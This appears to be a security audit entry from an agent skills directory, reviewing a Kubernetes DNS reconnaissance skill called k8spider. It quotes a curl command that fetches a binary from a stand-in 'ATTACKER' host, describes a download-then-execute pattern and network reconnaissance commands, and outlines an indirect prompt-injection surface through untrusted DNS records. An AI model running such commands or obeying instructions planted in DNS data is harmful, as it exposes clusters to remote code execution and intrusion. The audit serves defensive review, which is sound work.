The Agent Skills Directory

[EXTERNAL_DOWNLOADS]: The skill provides instructions to download a binary from external URLs using curl and wget. Specifically, it includes examples like curl -o /tmp/k8spider https://ATTACKER/k8spider and wget -O /tmp/k8spider URL.
[REMOTE_CODE_EXECUTION]: Following the downloads, the skill instructs the user to grant execution permissions (chmod +x) and run the downloaded binary. This download-then-execute pattern is a high-risk activity that can lead to arbitrary code execution.
[COMMAND_EXECUTION]: The skill executes several system commands to gather sensitive network configuration details, including ip addr, ip route, and reading /etc/resolv.conf. It also invokes the k8spider binary with various flags to perform DNS probing and reconnaissance.
[INDIRECT_PROMPT_INJECTION]: The skill possesses a surface for indirect prompt injection as it ingests untrusted data from the Kubernetes cluster's DNS environment.
Ingestion points: The skill reads DNS records (PTR, SRV, AXFR) from the cluster's DNS server (SKILL.md).
Boundary markers: There are no explicit delimiters or warnings to ignore malicious instructions that might be embedded in DNS records.
Capability inventory: The skill can execute shell commands (ip, cat, nslookup, dig) and a downloaded binary (SKILL.md).
Sanitization: No evidence of sanitization or validation of the DNS responses before they are processed or presented to the agent.

k8spider